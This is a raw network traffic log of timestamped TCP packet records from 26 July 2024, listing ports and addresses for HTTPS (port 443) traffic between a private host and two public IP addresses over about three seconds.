Jul 26, 2024 09:26:16.159382105 CEST	443	49166	188.114.97.3	192.168.2.22
Jul 26, 2024 09:26:16.159436941 CEST	443	49166	188.114.97.3	192.168.2.22
Jul 26, 2024 09:26:16.159440041 CEST	49166	443	192.168.2.22	188.114.97.3
Jul 26, 2024 09:26:16.159450054 CEST	443	49166	188.114.97.3	192.168.2.22
Jul 26, 2024 09:26:16.159478903 CEST	49166	443	192.168.2.22	188.114.97.3
Jul 26, 2024 09:26:16.159493923 CEST	49166	443	192.168.2.22	188.114.97.3
Jul 26, 2024 09:26:16.160290003 CEST	443	49166	188.114.97.3	192.168.2.22
Jul 26, 2024 09:26:16.160345078 CEST	443	49166	188.114.97.3	192.168.2.22
Jul 26, 2024 09:26:16.160346031 CEST	49166	443	192.168.2.22	188.114.97.3
Jul 26, 2024 09:26:16.160360098 CEST	443	49166	188.114.97.3	192.168.2.22
Jul 26, 2024 09:26:16.160388947 CEST	49166	443	192.168.2.22	188.114.97.3
Jul 26, 2024 09:26:16.161237955 CEST	443	49166	188.114.97.3	192.168.2.22
Jul 26, 2024 09:26:16.161295891 CEST	443	49166	188.114.97.3	192.168.2.22
Jul 26, 2024 09:26:16.161298037 CEST	49166	443	192.168.2.22	188.114.97.3
Jul 26, 2024 09:26:16.161309958 CEST	443	49166	188.114.97.3	192.168.2.22
Jul 26, 2024 09:26:16.161339998 CEST	49166	443	192.168.2.22	188.114.97.3
Jul 26, 2024 09:26:16.162153006 CEST	443	49166	188.114.97.3	192.168.2.22
Jul 26, 2024 09:26:16.162208080 CEST	443	49166	188.114.97.3	192.168.2.22
Jul 26, 2024 09:26:16.162214041 CEST	49166	443	192.168.2.22	188.114.97.3
Jul 26, 2024 09:26:16.162220955 CEST	443	49166	188.114.97.3	192.168.2.22
Jul 26, 2024 09:26:16.162252903 CEST	49166	443	192.168.2.22	188.114.97.3
Jul 26, 2024 09:26:16.197614908 CEST	443	49166	188.114.97.3	192.168.2.22
Jul 26, 2024 09:26:16.197689056 CEST	443	49166	188.114.97.3	192.168.2.22
Jul 26, 2024 09:26:16.197691917 CEST	49166	443	192.168.2.22	188.114.97.3
Jul 26, 2024 09:26:16.197705030 CEST	443	49166	188.114.97.3	192.168.2.22
Jul 26, 2024 09:26:16.197731972 CEST	49166	443	192.168.2.22	188.114.97.3
Jul 26, 2024 09:26:16.197745085 CEST	49166	443	192.168.2.22	188.114.97.3
Jul 26, 2024 09:26:16.247102022 CEST	443	49166	188.114.97.3	192.168.2.22
Jul 26, 2024 09:26:16.247168064 CEST	49166	443	192.168.2.22	188.114.97.3
Jul 26, 2024 09:26:16.247173071 CEST	443	49166	188.114.97.3	192.168.2.22
Jul 26, 2024 09:26:16.247190952 CEST	443	49166	188.114.97.3	192.168.2.22
Jul 26, 2024 09:26:16.247222900 CEST	49166	443	192.168.2.22	188.114.97.3
Jul 26, 2024 09:26:16.247236967 CEST	49166	443	192.168.2.22	188.114.97.3
Jul 26, 2024 09:26:16.247652054 CEST	443	49166	188.114.97.3	192.168.2.22
Jul 26, 2024 09:26:16.247700930 CEST	49166	443	192.168.2.22	188.114.97.3
Jul 26, 2024 09:26:16.247709036 CEST	443	49166	188.114.97.3	192.168.2.22
Jul 26, 2024 09:26:16.247721910 CEST	443	49166	188.114.97.3	192.168.2.22
Jul 26, 2024 09:26:16.247756958 CEST	49166	443	192.168.2.22	188.114.97.3
Jul 26, 2024 09:26:16.247771025 CEST	49166	443	192.168.2.22	188.114.97.3
Jul 26, 2024 09:26:16.248440981 CEST	443	49166	188.114.97.3	192.168.2.22
Jul 26, 2024 09:26:16.248501062 CEST	49166	443	192.168.2.22	188.114.97.3
Jul 26, 2024 09:26:16.248512030 CEST	443	49166	188.114.97.3	192.168.2.22
Jul 26, 2024 09:26:16.248565912 CEST	49166	443	192.168.2.22	188.114.97.3
Jul 26, 2024 09:26:16.249346972 CEST	443	49166	188.114.97.3	192.168.2.22
Jul 26, 2024 09:26:16.249399900 CEST	49166	443	192.168.2.22	188.114.97.3
Jul 26, 2024 09:26:16.249403000 CEST	443	49166	188.114.97.3	192.168.2.22
Jul 26, 2024 09:26:16.249416113 CEST	443	49166	188.114.97.3	192.168.2.22
Jul 26, 2024 09:26:16.249458075 CEST	49166	443	192.168.2.22	188.114.97.3
Jul 26, 2024 09:26:16.250583887 CEST	443	49166	188.114.97.3	192.168.2.22
Jul 26, 2024 09:26:16.250639915 CEST	49166	443	192.168.2.22	188.114.97.3
Jul 26, 2024 09:26:16.279305935 CEST	49166	443	192.168.2.22	188.114.97.3
Jul 26, 2024 09:26:16.279315948 CEST	443	49166	188.114.97.3	192.168.2.22
Jul 26, 2024 09:26:16.279328108 CEST	443	49166	188.114.97.3	192.168.2.22
Jul 26, 2024 09:26:16.279401064 CEST	49166	443	192.168.2.22	188.114.97.3
Jul 26, 2024 09:26:16.279407024 CEST	443	49166	188.114.97.3	192.168.2.22
Jul 26, 2024 09:26:16.279421091 CEST	49166	443	192.168.2.22	188.114.97.3
Jul 26, 2024 09:26:16.279442072 CEST	49166	443	192.168.2.22	188.114.97.3
Jul 26, 2024 09:26:16.279459000 CEST	49166	443	192.168.2.22	188.114.97.3
Jul 26, 2024 09:26:16.279910088 CEST	49166	443	192.168.2.22	188.114.97.3
Jul 26, 2024 09:26:16.289869070 CEST	443	49166	188.114.97.3	192.168.2.22
Jul 26, 2024 09:26:16.289921045 CEST	49166	443	192.168.2.22	188.114.97.3
Jul 26, 2024 09:26:16.289932966 CEST	443	49166	188.114.97.3	192.168.2.22
Jul 26, 2024 09:26:16.289984941 CEST	49166	443	192.168.2.22	188.114.97.3
Jul 26, 2024 09:26:16.290013075 CEST	49166	443	192.168.2.22	188.114.97.3
Jul 26, 2024 09:26:16.352097034 CEST	443	49166	188.114.97.3	192.168.2.22
Jul 26, 2024 09:26:16.352155924 CEST	49166	443	192.168.2.22	188.114.97.3
Jul 26, 2024 09:26:16.352157116 CEST	443	49166	188.114.97.3	192.168.2.22
Jul 26, 2024 09:26:16.352173090 CEST	443	49166	188.114.97.3	192.168.2.22
Jul 26, 2024 09:26:16.352205992 CEST	49166	443	192.168.2.22	188.114.97.3
Jul 26, 2024 09:26:16.352885008 CEST	443	49166	188.114.97.3	192.168.2.22
Jul 26, 2024 09:26:16.352941990 CEST	443	49166	188.114.97.3	192.168.2.22
Jul 26, 2024 09:26:16.352943897 CEST	49166	443	192.168.2.22	188.114.97.3
Jul 26, 2024 09:26:16.352955103 CEST	443	49166	188.114.97.3	192.168.2.22
Jul 26, 2024 09:26:16.352982998 CEST	49166	443	192.168.2.22	188.114.97.3
Jul 26, 2024 09:26:16.352998018 CEST	49166	443	192.168.2.22	188.114.97.3
Jul 26, 2024 09:26:16.353615046 CEST	443	49166	188.114.97.3	192.168.2.22
Jul 26, 2024 09:26:16.353671074 CEST	443	49166	188.114.97.3	192.168.2.22
Jul 26, 2024 09:26:16.353672981 CEST	49166	443	192.168.2.22	188.114.97.3
Jul 26, 2024 09:26:16.353683949 CEST	443	49166	188.114.97.3	192.168.2.22
Jul 26, 2024 09:26:16.353718042 CEST	49166	443	192.168.2.22	188.114.97.3
Jul 26, 2024 09:26:16.353729010 CEST	443	49166	188.114.97.3	192.168.2.22
Jul 26, 2024 09:26:16.353764057 CEST	49166	443	192.168.2.22	188.114.97.3
Jul 26, 2024 09:26:16.353770971 CEST	443	49166	188.114.97.3	192.168.2.22
Jul 26, 2024 09:26:16.353806019 CEST	49166	443	192.168.2.22	188.114.97.3
Jul 26, 2024 09:26:16.353827000 CEST	443	49166	188.114.97.3	192.168.2.22
Jul 26, 2024 09:26:16.353864908 CEST	49166	443	192.168.2.22	188.114.97.3
Jul 26, 2024 09:26:16.353873014 CEST	443	49166	188.114.97.3	192.168.2.22
Jul 26, 2024 09:26:16.353889942 CEST	49166	443	192.168.2.22	188.114.97.3
Jul 26, 2024 09:26:16.353889942 CEST	49166	443	192.168.2.22	188.114.97.3
Jul 26, 2024 09:26:16.353913069 CEST	49166	443	192.168.2.22	188.114.97.3
Jul 26, 2024 09:26:16.503460884 CEST	49167	443	192.168.2.22	188.114.97.3
Jul 26, 2024 09:26:16.503555059 CEST	443	49167	188.114.97.3	192.168.2.22
Jul 26, 2024 09:26:16.503720999 CEST	49167	443	192.168.2.22	188.114.97.3
Jul 26, 2024 09:26:16.504019976 CEST	49167	443	192.168.2.22	188.114.97.3
Jul 26, 2024 09:26:16.504050016 CEST	443	49167	188.114.97.3	192.168.2.22
Jul 26, 2024 09:26:16.975486994 CEST	443	49167	188.114.97.3	192.168.2.22
Jul 26, 2024 09:26:16.975647926 CEST	49167	443	192.168.2.22	188.114.97.3
Jul 26, 2024 09:26:17.136190891 CEST	49167	443	192.168.2.22	188.114.97.3
Jul 26, 2024 09:26:17.136250019 CEST	443	49167	188.114.97.3	192.168.2.22
Jul 26, 2024 09:26:17.137623072 CEST	49167	443	192.168.2.22	188.114.97.3
Jul 26, 2024 09:26:17.137677908 CEST	443	49167	188.114.97.3	192.168.2.22
Jul 26, 2024 09:26:17.246320009 CEST	443	49167	188.114.97.3	192.168.2.22
Jul 26, 2024 09:26:17.246417046 CEST	443	49167	188.114.97.3	192.168.2.22
Jul 26, 2024 09:26:17.246426105 CEST	49167	443	192.168.2.22	188.114.97.3
Jul 26, 2024 09:26:17.246490955 CEST	49167	443	192.168.2.22	188.114.97.3
Jul 26, 2024 09:26:17.246491909 CEST	49167	443	192.168.2.22	188.114.97.3
Jul 26, 2024 09:26:17.246536970 CEST	49167	443	192.168.2.22	188.114.97.3
Jul 26, 2024 09:26:17.937370062 CEST	49168	443	192.168.2.22	188.114.96.3
Jul 26, 2024 09:26:17.937410116 CEST	443	49168	188.114.96.3	192.168.2.22
Jul 26, 2024 09:26:17.937453985 CEST	49168	443	192.168.2.22	188.114.96.3
Jul 26, 2024 09:26:17.954860926 CEST	49168	443	192.168.2.22	188.114.96.3
Jul 26, 2024 09:26:17.954884052 CEST	443	49168	188.114.96.3	192.168.2.22
Jul 26, 2024 09:26:18.453003883 CEST	443	49168	188.114.96.3	192.168.2.22
Jul 26, 2024 09:26:18.453099966 CEST	49168	443	192.168.2.22	188.114.96.3
Jul 26, 2024 09:26:18.459997892 CEST	49168	443	192.168.2.22	188.114.96.3
Jul 26, 2024 09:26:18.460010052 CEST	443	49168	188.114.96.3	192.168.2.22
Jul 26, 2024 09:26:18.460604906 CEST	443	49168	188.114.96.3	192.168.2.22
Jul 26, 2024 09:26:18.460695028 CEST	49168	443	192.168.2.22	188.114.96.3
Jul 26, 2024 09:26:18.598210096 CEST	49168	443	192.168.2.22	188.114.96.3
Jul 26, 2024 09:26:18.644500971 CEST	443	49168	188.114.96.3	192.168.2.22
Jul 26, 2024 09:26:18.929310083 CEST	443	49168	188.114.96.3	192.168.2.22
Jul 26, 2024 09:26:18.929398060 CEST	443	49168	188.114.96.3	192.168.2.22
Jul 26, 2024 09:26:18.929435015 CEST	49168	443	192.168.2.22	188.114.96.3
Jul 26, 2024 09:26:18.929451942 CEST	443	49168	188.114.96.3	192.168.2.22
Jul 26, 2024 09:26:18.929462910 CEST	49168	443	192.168.2.22	188.114.96.3
Jul 26, 2024 09:26:18.929505110 CEST	49168	443	192.168.2.22	188.114.96.3
Jul 26, 2024 09:26:18.929507971 CEST	443	49168	188.114.96.3	192.168.2.22
Jul 26, 2024 09:26:18.929524899 CEST	443	49168	188.114.96.3	192.168.2.22
Jul 26, 2024 09:26:18.929552078 CEST	49168	443	192.168.2.22	188.114.96.3
Jul 26, 2024 09:26:18.929579020 CEST	49168	443	192.168.2.22	188.114.96.3
Jul 26, 2024 09:26:18.929584980 CEST	443	49168	188.114.96.3	192.168.2.22
Jul 26, 2024 09:26:18.929632902 CEST	49168	443	192.168.2.22	188.114.96.3
Jul 26, 2024 09:26:18.929637909 CEST	443	49168	188.114.96.3	192.168.2.22
Jul 26, 2024 09:26:18.929682970 CEST	49168	443	192.168.2.22	188.114.96.3
Jul 26, 2024 09:26:18.929687977 CEST	443	49168	188.114.96.3	192.168.2.22
Jul 26, 2024 09:26:18.929733992 CEST	49168	443	192.168.2.22	188.114.96.3
Jul 26, 2024 09:26:18.929742098 CEST	443	49168	188.114.96.3	192.168.2.22
Jul 26, 2024 09:26:18.929788113 CEST	49168	443	192.168.2.22	188.114.96.3
Jul 26, 2024 09:26:18.929794073 CEST	443	49168	188.114.96.3	192.168.2.22
Jul 26, 2024 09:26:18.929837942 CEST	443	49168	188.114.96.3	192.168.2.22
Jul 26, 2024 09:26:18.929837942 CEST	49168	443	192.168.2.22	188.114.96.3
Jul 26, 2024 09:26:18.929852009 CEST	443	49168	188.114.96.3	192.168.2.22
Jul 26, 2024 09:26:18.929893017 CEST	49168	443	192.168.2.22	188.114.96.3
Jul 26, 2024 09:26:18.934809923 CEST	49168	443	192.168.2.22	188.114.96.3
Jul 26, 2024 09:26:19.035304070 CEST	443	49168	188.114.96.3	192.168.2.22
Jul 26, 2024 09:26:19.035530090 CEST	49168	443	192.168.2.22	188.114.96.3
Jul 26, 2024 09:26:19.035552025 CEST	443	49168	188.114.96.3	192.168.2.22
Jul 26, 2024 09:26:19.035599947 CEST	49168	443	192.168.2.22	188.114.96.3
Jul 26, 2024 09:26:19.035605907 CEST	443	49168	188.114.96.3	192.168.2.22
Jul 26, 2024 09:26:19.035644054 CEST	49168	443	192.168.2.22	188.114.96.3
Jul 26, 2024 09:26:19.035656929 CEST	443	49168	188.114.96.3	192.168.2.22
Jul 26, 2024 09:26:19.035707951 CEST	49168	443	192.168.2.22	188.114.96.3
Jul 26, 2024 09:26:19.035753012 CEST	443	49168	188.114.96.3	192.168.2.22
Jul 26, 2024 09:26:19.035797119 CEST	49168	443	192.168.2.22	188.114.96.3
Jul 26, 2024 09:26:19.035854101 CEST	443	49168	188.114.96.3	192.168.2.22
Jul 26, 2024 09:26:19.035902023 CEST	49168	443	192.168.2.22	188.114.96.3
Jul 26, 2024 09:26:19.035988092 CEST	443	49168	188.114.96.3	192.168.2.22
Jul 26, 2024 09:26:19.036036015 CEST	49168	443	192.168.2.22	188.114.96.3
Jul 26, 2024 09:26:19.036104918 CEST	443	49168	188.114.96.3	192.168.2.22
Jul 26, 2024 09:26:19.036153078 CEST	49168	443	192.168.2.22	188.114.96.3
Jul 26, 2024 09:26:19.036220074 CEST	443	49168	188.114.96.3	192.168.2.22
Jul 26, 2024 09:26:19.036273003 CEST	49168	443	192.168.2.22	188.114.96.3
Jul 26, 2024 09:26:19.036325932 CEST	443	49168	188.114.96.3	192.168.2.22
Jul 26, 2024 09:26:19.036377907 CEST	49168	443	192.168.2.22	188.114.96.3
Jul 26, 2024 09:26:19.036434889 CEST	443	49168	188.114.96.3	192.168.2.22
Jul 26, 2024 09:26:19.036494017 CEST	49168	443	192.168.2.22	188.114.96.3
Jul 26, 2024 09:26:19.036586046 CEST	443	49168	188.114.96.3	192.168.2.22
Jul 26, 2024 09:26:19.036643028 CEST	49168	443	192.168.2.22	188.114.96.3
Jul 26, 2024 09:26:19.036696911 CEST	443	49168	188.114.96.3	192.168.2.22
Jul 26, 2024 09:26:19.036751032 CEST	49168	443	192.168.2.22	188.114.96.3
Jul 26, 2024 09:26:19.036813021 CEST	443	49168	188.114.96.3	192.168.2.22
Jul 26, 2024 09:26:19.036864042 CEST	49168	443	192.168.2.22	188.114.96.3
Jul 26, 2024 09:26:19.036925077 CEST	443	49168	188.114.96.3	192.168.2.22
Jul 26, 2024 09:26:19.036973953 CEST	49168	443	192.168.2.22	188.114.96.3
Jul 26, 2024 09:26:19.037055969 CEST	443	49168	188.114.96.3	192.168.2.22
Jul 26, 2024 09:26:19.037105083 CEST	49168	443	192.168.2.22	188.114.96.3
Jul 26, 2024 09:26:19.037175894 CEST	443	49168	188.114.96.3	192.168.2.22
Jul 26, 2024 09:26:19.037224054 CEST	49168	443	192.168.2.22	188.114.96.3
Jul 26, 2024 09:26:19.037309885 CEST	443	49168	188.114.96.3	192.168.2.22
Jul 26, 2024 09:26:19.037363052 CEST	49168	443	192.168.2.22	188.114.96.3
Jul 26, 2024 09:26:19.037421942 CEST	443	49168	188.114.96.3	192.168.2.22
Jul 26, 2024 09:26:19.037471056 CEST	49168	443	192.168.2.22	188.114.96.3
Jul 26, 2024 09:26:19.037527084 CEST	443	49168	188.114.96.3	192.168.2.22
Jul 26, 2024 09:26:19.037578106 CEST	49168	443	192.168.2.22	188.114.96.3
Jul 26, 2024 09:26:19.038229942 CEST	443	49168	188.114.96.3	192.168.2.22
Jul 26, 2024 09:26:19.038314104 CEST	49168	443	192.168.2.22	188.114.96.3
Jul 26, 2024 09:26:19.038378954 CEST	443	49168	188.114.96.3	192.168.2.22
Jul 26, 2024 09:26:19.038439035 CEST	49168	443	192.168.2.22	188.114.96.3
Jul 26, 2024 09:26:19.038465023 CEST	443	49168	188.114.96.3	192.168.2.22
Jul 26, 2024 09:26:19.038528919 CEST	49168	443	192.168.2.22	188.114.96.3
Jul 26, 2024 09:26:19.143629074 CEST	443	49168	188.114.96.3	192.168.2.22
Jul 26, 2024 09:26:19.143733025 CEST	49168	443	192.168.2.22	188.114.96.3
Jul 26, 2024 09:26:19.143769979 CEST	443	49168	188.114.96.3	192.168.2.22
Jul 26, 2024 09:26:19.143917084 CEST	49168	443	192.168.2.22	188.114.96.3
Jul 26, 2024 09:26:19.143927097 CEST	443	49168	188.114.96.3	192.168.2.22
Jul 26, 2024 09:26:19.143968105 CEST	49168	443	192.168.2.22	188.114.96.3
Jul 26, 2024 09:26:19.143974066 CEST	443	49168	188.114.96.3	192.168.2.22
Jul 26, 2024 09:26:19.144012928 CEST	49168	443	192.168.2.22	188.114.96.3
Jul 26, 2024 09:26:19.144047022 CEST	443	49168	188.114.96.3	192.168.2.22
Jul 26, 2024 09:26:19.144095898 CEST	49168	443	192.168.2.22	188.114.96.3
Jul 26, 2024 09:26:19.144160986 CEST	443	49168	188.114.96.3	192.168.2.22
Jul 26, 2024 09:26:19.144210100 CEST	49168	443	192.168.2.22	188.114.96.3
Jul 26, 2024 09:26:19.144345045 CEST	443	49168	188.114.96.3	192.168.2.22
Jul 26, 2024 09:26:19.144388914 CEST	49168	443	192.168.2.22	188.114.96.3
Jul 26, 2024 09:26:19.144452095 CEST	443	49168	188.114.96.3	192.168.2.22
Jul 26, 2024 09:26:19.144496918 CEST	49168	443	192.168.2.22	188.114.96.3
Jul 26, 2024 09:26:19.144620895 CEST	443	49168	188.114.96.3	192.168.2.22
Jul 26, 2024 09:26:19.144686937 CEST	49168	443	192.168.2.22	188.114.96.3
Jul 26, 2024 09:26:19.144737005 CEST	443	49168	188.114.96.3	192.168.2.22
Jul 26, 2024 09:26:19.144783974 CEST	49168	443	192.168.2.22	188.114.96.3
Jul 26, 2024 09:26:19.144876003 CEST	443	49168	188.114.96.3	192.168.2.22
Jul 26, 2024 09:26:19.144948959 CEST	49168	443	192.168.2.22	188.114.96.3
Jul 26, 2024 09:26:19.144980907 CEST	443	49168	188.114.96.3	192.168.2.22
Jul 26, 2024 09:26:19.145028114 CEST	49168	443	192.168.2.22	188.114.96.3
Jul 26, 2024 09:26:19.145112038 CEST	443	49168	188.114.96.3	192.168.2.22
Jul 26, 2024 09:26:19.145179987 CEST	49168	443	192.168.2.22	188.114.96.3
Jul 26, 2024 09:26:19.145224094 CEST	443	49168	188.114.96.3	192.168.2.22
Jul 26, 2024 09:26:19.145271063 CEST	49168	443	192.168.2.22	188.114.96.3
Jul 26, 2024 09:26:19.145359039 CEST	443	49168	188.114.96.3	192.168.2.22
Jul 26, 2024 09:26:19.145422935 CEST	49168	443	192.168.2.22	188.114.96.3
Jul 26, 2024 09:26:19.145463943 CEST	443	49168	188.114.96.3	192.168.2.22
Jul 26, 2024 09:26:19.145509005 CEST	49168	443	192.168.2.22	188.114.96.3
Jul 26, 2024 09:26:19.145596027 CEST	443	49168	188.114.96.3	192.168.2.22
Jul 26, 2024 09:26:19.145647049 CEST	49168	443	192.168.2.22	188.114.96.3
Jul 26, 2024 09:26:19.145827055 CEST	443	49168	188.114.96.3	192.168.2.22
Jul 26, 2024 09:26:19.145883083 CEST	49168	443	192.168.2.22	188.114.96.3
Jul 26, 2024 09:26:19.145951986 CEST	443	49168	188.114.96.3	192.168.2.22
Jul 26, 2024 09:26:19.146003008 CEST	49168	443	192.168.2.22	188.114.96.3
Jul 26, 2024 09:26:19.146085024 CEST	443	49168	188.114.96.3	192.168.2.22
Jul 26, 2024 09:26:19.146142006 CEST	49168	443	192.168.2.22	188.114.96.3
Jul 26, 2024 09:26:19.146578074 CEST	443	49168	188.114.96.3	192.168.2.22
Jul 26, 2024 09:26:19.146636963 CEST	49168	443	192.168.2.22	188.114.96.3
Jul 26, 2024 09:26:19.146759033 CEST	443	49168	188.114.96.3	192.168.2.22
Jul 26, 2024 09:26:19.146816015 CEST	49168	443	192.168.2.22	188.114.96.3
Jul 26, 2024 09:26:19.146862984 CEST	49168	443	192.168.2.22	188.114.96.3
Jul 26, 2024 09:26:19.146888971 CEST	443	49168	188.114.96.3	192.168.2.22
Jul 26, 2024 09:26:19.146936893 CEST	49168	443	192.168.2.22	188.114.96.3
Jul 26, 2024 09:26:19.147023916 CEST	443	49168	188.114.96.3	192.168.2.22
Jul 26, 2024 09:26:19.147088051 CEST	49168	443	192.168.2.22	188.114.96.3
Jul 26, 2024 09:26:19.147111893 CEST	443	49168	188.114.96.3	192.168.2.22
Jul 26, 2024 09:26:19.147156954 CEST	49168	443	192.168.2.22	188.114.96.3
Jul 26, 2024 09:26:19.147491932 CEST	443	49168	188.114.96.3	192.168.2.22
Jul 26, 2024 09:26:19.147562027 CEST	49168	443	192.168.2.22	188.114.96.3
Jul 26, 2024 09:26:19.148102999 CEST	49168	443	192.168.2.22	188.114.96.3
Jul 26, 2024 09:26:19.235836983 CEST	443	49168	188.114.96.3	192.168.2.22
Jul 26, 2024 09:26:19.235919952 CEST	49168	443	192.168.2.22	188.114.96.3
Jul 26, 2024 09:26:19.235969067 CEST	443	49168	188.114.96.3	192.168.2.22
Jul 26, 2024 09:26:19.236013889 CEST	49168	443	192.168.2.22	188.114.96.3
Jul 26, 2024 09:26:19.252372980 CEST	443	49168	188.114.96.3	192.168.2.22
Jul 26, 2024 09:26:19.252463102 CEST	49168	443	192.168.2.22	188.114.96.3
Jul 26, 2024 09:26:19.252589941 CEST	443	49168	188.114.96.3	192.168.2.22
Jul 26, 2024 09:26:19.252639055 CEST	49168	443	192.168.2.22	188.114.96.3
Jul 26, 2024 09:26:19.252742052 CEST	443	49168	188.114.96.3	192.168.2.22
Jul 26, 2024 09:26:19.252798080 CEST	49168	443	192.168.2.22	188.114.96.3
Jul 26, 2024 09:26:19.252876997 CEST	443	49168	188.114.96.3	192.168.2.22
Jul 26, 2024 09:26:19.252931118 CEST	49168	443	192.168.2.22	188.114.96.3
Jul 26, 2024 09:26:19.253032923 CEST	443	49168	188.114.96.3	192.168.2.22
Jul 26, 2024 09:26:19.253133059 CEST	49168	443	192.168.2.22	188.114.96.3
Jul 26, 2024 09:26:19.253151894 CEST	443	49168	188.114.96.3	192.168.2.22
Jul 26, 2024 09:26:19.253204107 CEST	49168	443	192.168.2.22	188.114.96.3
Jul 26, 2024 09:26:19.253247976 CEST	49168	443	192.168.2.22	188.114.96.3
Jul 26, 2024 09:26:19.253287077 CEST	443	49168	188.114.96.3	192.168.2.22
Jul 26, 2024 09:26:19.253344059 CEST	49168	443	192.168.2.22	188.114.96.3
Jul 26, 2024 09:26:19.253415108 CEST	443	49168	188.114.96.3	192.168.2.22
Jul 26, 2024 09:26:19.253470898 CEST	49168	443	192.168.2.22	188.114.96.3
Jul 26, 2024 09:26:19.253659964 CEST	443	49168	188.114.96.3	192.168.2.22
Jul 26, 2024 09:26:19.253715038 CEST	49168	443	192.168.2.22	188.114.96.3
Jul 26, 2024 09:26:19.253788948 CEST	443	49168	188.114.96.3	192.168.2.22
Jul 26, 2024 09:26:19.253839970 CEST	49168	443	192.168.2.22	188.114.96.3
Jul 26, 2024 09:26:19.253882885 CEST	49168	443	192.168.2.22	188.114.96.3
Jul 26, 2024 09:26:19.253912926 CEST	443	49168	188.114.96.3	192.168.2.22
Jul 26, 2024 09:26:19.253972054 CEST	49168	443	192.168.2.22	188.114.96.3
Jul 26, 2024 09:26:19.254018068 CEST	443	49168	188.114.96.3	192.168.2.22
Jul 26, 2024 09:26:19.254067898 CEST	49168	443	192.168.2.22	188.114.96.3
Jul 26, 2024 09:26:19.254209042 CEST	443	49168	188.114.96.3	192.168.2.22
Jul 26, 2024 09:26:19.254266977 CEST	49168	443	192.168.2.22	188.114.96.3
Jul 26, 2024 09:26:19.254347086 CEST	443	49168	188.114.96.3	192.168.2.22
Jul 26, 2024 09:26:19.254415035 CEST	49168	443	192.168.2.22	188.114.96.3
Jul 26, 2024 09:26:19.254754066 CEST	443	49168	188.114.96.3	192.168.2.22
Jul 26, 2024 09:26:19.254813910 CEST	49168	443	192.168.2.22	188.114.96.3
Jul 26, 2024 09:26:19.254905939 CEST	443	49168	188.114.96.3	192.168.2.22
Jul 26, 2024 09:26:19.254961967 CEST	49168	443	192.168.2.22	188.114.96.3
Jul 26, 2024 09:26:19.255156994 CEST	443	49168	188.114.96.3	192.168.2.22
Jul 26, 2024 09:26:19.255223036 CEST	49168	443	192.168.2.22	188.114.96.3
Jul 26, 2024 09:26:19.255542994 CEST	443	49168	188.114.96.3	192.168.2.22
Jul 26, 2024 09:26:19.255613089 CEST	49168	443	192.168.2.22	188.114.96.3
Jul 26, 2024 09:26:19.255738020 CEST	443	49168	188.114.96.3	192.168.2.22
Jul 26, 2024 09:26:19.255801916 CEST	49168	443	192.168.2.22	188.114.96.3
Jul 26, 2024 09:26:19.256361961 CEST	443	49168	188.114.96.3	192.168.2.22
Jul 26, 2024 09:26:19.256382942 CEST	443	49168	188.114.96.3	192.168.2.22
Jul 26, 2024 09:26:19.256432056 CEST	49168	443	192.168.2.22	188.114.96.3
Jul 26, 2024 09:26:19.256525040 CEST	443	49168	188.114.96.3	192.168.2.22
Jul 26, 2024 09:26:19.256587982 CEST	49168	443	192.168.2.22	188.114.96.3
Jul 26, 2024 09:26:19.256822109 CEST	443	49168	188.114.96.3	192.168.2.22
Jul 26, 2024 09:26:19.256874084 CEST	49168	443	192.168.2.22	188.114.96.3
Jul 26, 2024 09:26:19.356040955 CEST	443	49168	188.114.96.3	192.168.2.22
Jul 26, 2024 09:26:19.356153965 CEST	49168	443	192.168.2.22	188.114.96.3
Jul 26, 2024 09:26:19.356317997 CEST	443	49168	188.114.96.3	192.168.2.22
Jul 26, 2024 09:26:19.356378078 CEST	49168	443	192.168.2.22	188.114.96.3
Jul 26, 2024 09:26:19.356528044 CEST	443	49168	188.114.96.3	192.168.2.22
Jul 26, 2024 09:26:19.356580019 CEST	49168	443	192.168.2.22	188.114.96.3
Jul 26, 2024 09:26:19.356602907 CEST	443	49168	188.114.96.3	192.168.2.22
Jul 26, 2024 09:26:19.356652021 CEST	49168	443	192.168.2.22	188.114.96.3
Jul 26, 2024 09:26:19.356782913 CEST	49168	443	192.168.2.22	188.114.96.3
Jul 26, 2024 09:26:19.364356041 CEST	443	49168	188.114.96.3	192.168.2.22
Jul 26, 2024 09:26:19.364451885 CEST	49168	443	192.168.2.22	188.114.96.3
Jul 26, 2024 09:26:19.364595890 CEST	443	49168	188.114.96.3	192.168.2.22
Jul 26, 2024 09:26:19.364655018 CEST	49168	443	192.168.2.22	188.114.96.3
Jul 26, 2024 09:26:19.365535975 CEST	443	49168	188.114.96.3	192.168.2.22
Jul 26, 2024 09:26:19.365611076 CEST	49168	443	192.168.2.22	188.114.96.3
Jul 26, 2024 09:26:19.365721941 CEST	443	49168	188.114.96.3	192.168.2.22
Jul 26, 2024 09:26:19.365780115 CEST	49168	443	192.168.2.22	188.114.96.3
Jul 26, 2024 09:26:19.365992069 CEST	443	49168	188.114.96.3	192.168.2.22
Jul 26, 2024 09:26:19.366055965 CEST	49168	443	192.168.2.22	188.114.96.3
Jul 26, 2024 09:26:19.366130114 CEST	443	49168	188.114.96.3	192.168.2.22
Jul 26, 2024 09:26:19.366189957 CEST	49168	443	192.168.2.22	188.114.96.3
Jul 26, 2024 09:26:19.366728067 CEST	443	49168	188.114.96.3	192.168.2.22
Jul 26, 2024 09:26:19.366805077 CEST	49168	443	192.168.2.22	188.114.96.3
Jul 26, 2024 09:26:19.366869926 CEST	443	49168	188.114.96.3	192.168.2.22
Jul 26, 2024 09:26:19.366926908 CEST	49168	443	192.168.2.22	188.114.96.3
Jul 26, 2024 09:26:19.367619991 CEST	443	49168	188.114.96.3	192.168.2.22
Jul 26, 2024 09:26:19.367703915 CEST	49168	443	192.168.2.22	188.114.96.3
Jul 26, 2024 09:26:19.367829084 CEST	443	49168	188.114.96.3	192.168.2.22
Jul 26, 2024 09:26:19.367885113 CEST	49168	443	192.168.2.22	188.114.96.3
Jul 26, 2024 09:26:19.368817091 CEST	443	49168	188.114.96.3	192.168.2.22
Jul 26, 2024 09:26:19.368890047 CEST	49168	443	192.168.2.22	188.114.96.3
Jul 26, 2024 09:26:19.368972063 CEST	443	49168	188.114.96.3	192.168.2.22
Jul 26, 2024 09:26:19.369026899 CEST	49168	443	192.168.2.22	188.114.96.3
Jul 26, 2024 09:26:19.436497927 CEST	443	49168	188.114.96.3	192.168.2.22
Jul 26, 2024 09:26:19.436670065 CEST	443	49168	188.114.96.3	192.168.2.22
Jul 26, 2024 09:26:19.436712027 CEST	49168	443	192.168.2.22	188.114.96.3
Jul 26, 2024 09:26:19.436726093 CEST	443	49168	188.114.96.3	192.168.2.22
Jul 26, 2024 09:26:19.436753988 CEST	49168	443	192.168.2.22	188.114.96.3
